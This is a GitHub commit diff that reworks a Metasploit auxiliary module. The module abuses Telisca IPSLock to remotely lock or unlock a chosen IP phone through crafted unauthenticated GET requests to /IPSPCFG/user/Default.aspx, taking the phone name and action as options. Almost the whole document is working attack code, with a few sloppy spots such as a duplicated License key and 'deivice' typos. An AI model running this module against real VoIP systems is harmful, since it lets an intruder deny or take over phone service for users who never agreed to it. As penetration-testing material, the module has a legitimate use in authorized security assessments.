Skip to content

Commit 46f0651

Browse files
kfr-makfr-ma
committed
Update /telisca_ips_lock_abuse
cleaning the code
1 parent c18253d commit 46f0651

File tree

1 file changed

+78
-102
lines changed

1 file changed

+78
-102
lines changed

‎modules/auxiliary/voip/telisca_ips_lock_abuse.rb

Lines changed: 78 additions & 102 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77

88
class Metasploit3 < Msf::Auxiliary
99

10-
#include Msf::Auxiliary::Scanner
1110
include Msf::Auxiliary::Report
1211
include Msf::Exploit::Remote::HttpClient
1312

@@ -16,37 +15,29 @@ def initialize(info = {})
1615
'Name' => 'Telisca IPSLock Abuse',
1716
'Description' => %q{This modules will exploit the vulnerabilities of Telisca IPSLock , in order to lock/unlock IP Phones. you need to be in the voip vlan and you have to know the phone name example : SEP002497AB1D4B . Set ACTION to either LOCK or UNLOCK UNLOCK is the default.},
1817
'References' =>
19-
[
20-
],
18+
[
19+
],
2120
'Author' =>
22-
[
23-
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
24-
'zirsalem'
25-
],
26-
'DefaultOptions' =>
27-
{
28-
'SSL' => false,
29-
'SSLVersion' => 'TLS1',
30-
'RPORT' => 80
31-
},
32-
'License' => MSF_LICENSE,
33-
'DisclosureDate' => "Dec 17 2015",
21+
[
22+
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
23+
'zirsalem'
24+
], 'License' => MSF_LICENSE,
25+
'License' => MSF_LICENSE,
26+
'DisclosureDate' => "Dec 17 2015",
3427
'Actions' =>
35-
[
36-
['LOCK'],
37-
['UNLOCK']
38-
],
28+
[
29+
['LOCK'],
30+
['UNLOCK']
31+
],
3932
))
4033
register_options(
4134
[
42-
OptInt.new('TIMEOUT', [true, 'HTTP/HTTPS connect/read timeout in seconds', 1]),
43-
Opt::RPORT(80),
4435
OptString.new('PHONENAME', [true, 'The name of the victim phone ex SEP002497AB1D4B ']),
4536
OptString.new('RHOST', [true, 'The IPSLock IP Address']),
4637
OptString.new('ACTION', [true, 'LOCK OR UNLOCK','LOCK']),
4738
], self.class)
4839
deregister_options('RHOSTS')
49-
end
40+
end
5041

5142
def port_open?
5243
begin
@@ -69,99 +60,84 @@ def port_open?
6960
#
7061
def lock(phone_name,ips_ip)
7162
sid = ''
72-
extension = ''
73-
user_name = ''
74-
lock_url = ''
7563
begin
76-
res = send_request_cgi({
77-
'method' => 'GET',
78-
'uri' => '/IPSPCFG/user/Default.aspx',
79-
'headers' => {
80-
'Connection' => 'keep-alive',
81-
'Accept-Language' => 'en-US,en;q=0.5',
82-
},
83-
'vars_get' => {
84-
'action' => 'DO',
85-
'tg' => 'L',
86-
'pn' => phone_name,
87-
'dp' => '',
88-
'gr' => '',
89-
'gl' => ''
90-
}
91-
})
92-
if res and res.code == 200
93-
sid = res.get_cookies.scan(/ASP.NET_SessionId=([a-zA-Z0-9]+)/).flatten[0] || ''
94-
if res.body.include? "Unlock" or res.body.include? "U7LCK"
95-
print_good("The deivice #{phone_name} is already locked")
96-
else
97-
print_good("Deivice #{phone_name} successfully locked")
98-
end
99-
else
100-
print_error("Lock Request Error #{res.code}")
101-
return nil
102-
end
64+
res = send_request_cgi({
65+
'method' => 'GET',
66+
'uri' => '/IPSPCFG/user/Default.aspx',
67+
'vars_get' => {
68+
'action' => 'DO',
69+
'tg' => 'L',
70+
'pn' => phone_name,
71+
'dp' => '',
72+
'gr' => '',
73+
'gl' => ''
74+
}
75+
})
76+
if res and res.code == 200
77+
if res.body.include? "Unlock" or res.body.include? "U7LCK"
78+
print_good("The deivice #{phone_name} is already locked")
79+
elsif res.body.include? "unlocked" or res.body.include? "Locking" or res.body.include? "QUIT"
80+
print_good("Deivice #{phone_name} successfully locked")
81+
end
82+
else
83+
print_error("Lock Request Error #{res.code}")
84+
return nil
85+
end
10386
rescue ::Exception => e
104-
print_error("Error: #{e.to_s}")
105-
return nil
87+
print_error("Error: #{e.to_s}")
88+
return nil
10689
end
107-
return res
108-
end
90+
return false
91+
end
92+
10993
#
11094
# Unlock a phone . Function returns true or false
11195
#
11296
def unlock(phone_name,ips_ip)
113-
sid = ''
114-
extension = ''
115-
user_name = ''
116-
lock_url = ''
11797
begin
118-
res = send_request_cgi({
119-
'method' => 'GET',
120-
'uri' => '/IPSPCFG/user/Default.aspx',
121-
'headers' => {
122-
'Connection' => 'keep-alive',
123-
'Accept-Language' => 'en-US,en;q=0.5',
124-
},
125-
'vars_get' => {
126-
'action' => 'U7LCK',
127-
'pn' => phone_name,
128-
'dp' => '',
129-
'gr' => '',
130-
'gl' => ''
131-
}
132-
})
133-
134-
if res and res.code == 200
135-
sid = res.get_cookies.scan(/ASP.NET_SessionId=([a-zA-Z0-9]+)/).flatten[0] || ''
136-
if res.body.include? "Unlock" or res.body.include? "U7LCK"
137-
print_good("The deivice #{phone_name} is already locked")
98+
res = send_request_cgi({
99+
'method' => 'GET',
100+
'uri' => '/IPSPCFG/user/Default.aspx',
101+
'headers' => {
102+
'Connection' => 'keep-alive',
103+
'Accept-Language' => 'en-US,en;q=0.5'
104+
},
105+
'vars_get' => {
106+
'action' => 'U7LCK',
107+
'pn' => phone_name,
108+
'dp' => ''
109+
}
110+
})
111+
if res and res.code == 200
112+
if res.body.include? "Unlock" or res.body.include? "U7LCK"
113+
print_good("The device #{phone_name} is already locked")
114+
return true
115+
elsif res.body.include? "unlocked" or res.body.include? "QUIT"
116+
print_good("The device #{phone_name} successfully unlocked")
117+
return true
118+
end
138119
else
139-
print_good("Deivice #{phone_name} successfully unlocked")
140-
return true
120+
print_error("UNLOCK Request Error #{res.code}")
121+
return nil
141122
end
142-
else
143-
print_error("UNLOCK Request Error #{res.code}")
144-
return nil
145-
end
146123
rescue ::Exception => e
147-
print_error("Error: #{e.to_s}")
148-
return nil
124+
print_error("Error: #{e.to_s}")
125+
return nil
149126
end
150-
return res
127+
return nil
151128
end
152129
def run
153-
if not port_open?
154-
print_error("The web server is unreachable !")
155-
return
156-
end
157-
phone_name = datastore['PHONENAME']
158-
ipsserver = datastore['RHOST']
159-
case action.name
160-
when 'LOCK'
161-
res = lock(phone_name,ipsserver)
162-
when 'UNLOCK'
163-
print_good "Try to unlock "
164-
res = unlock(phone_name,ipsserver)
130+
if not port_open?
131+
print_error("The web server is unreachable !")
132+
return
133+
end
134+
phone_name = datastore['PHONENAME']
135+
ipsserver = datastore['RHOST']
136+
case action.name
137+
when 'LOCK'
138+
res = lock(phone_name,ipsserver)
139+
when 'UNLOCK'
140+
res = unlock(phone_name,ipsserver)
141+
end
165142
end
166-
end
167143
end

0 commit comments

Comments
 (0)